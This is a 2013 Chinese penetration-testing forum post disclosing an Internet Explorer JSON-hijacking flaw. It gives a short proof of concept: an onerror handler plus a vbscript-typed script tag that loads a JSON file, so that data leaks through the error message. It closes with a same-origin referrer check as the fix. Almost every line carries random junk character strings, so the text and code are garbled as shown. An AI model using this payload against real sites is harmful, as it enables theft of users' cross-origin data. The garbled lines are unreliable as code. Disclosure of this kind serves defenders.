中国网络渗透测试联盟

标题: IE通用JSON劫持漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: IE通用JSON劫持漏洞
简要描述:
: {' w6 F. r. l& n+ W& M. T+ e8 @$ ?" D+ ^
由于某些资源容器对数据处理不当导致json劫持漏洞.. N# ?" F+ H: l( P
详细说明:; B' I; j) T, l2 t% F$ q# S) M" Y
由于ie支持vbscript,所以script元素可以指定成vbscript语言:% ]) |3 K' P$ Q8 z% ^- o1 p
<script language=vbscript></script>9 {' [5 |2 N, r) A' H+ e1 j& x
; T6 n3 ~/ b( k4 z
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.8 T% B; }- V7 Q! \5 P
漏洞证明:
, _5 |5 k: v" e! ]- H  q2 g<script>
& P" Z0 x- n% y1 Z7 m# T8 y( @window.onerror=function(_){3 T* ]  y# `  V) P! U
alert(_)
4 I+ d! m" e; u: A}
4 p3 v+ X9 H3 X9 C  i</script>9 m# N! B8 `. L  b3 j/ n
<script language=vbscript src=1.json></script>
: q6 C' R! A( s . k; q) X+ O' l

: {; u8 X- w! @- z" }, b1.json:
5 s# f1 b/ E2 y/ x' e* ^[{"name":"sogili","age":19}]
8 p5 P4 c' t" w5 w& ~" [# V, @修复方案:# j" u" S! W5 s( C' V0 V4 A7 d5 U5 e
网站业务对于这个问题可以通过验证referrer是否为同源来防御




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2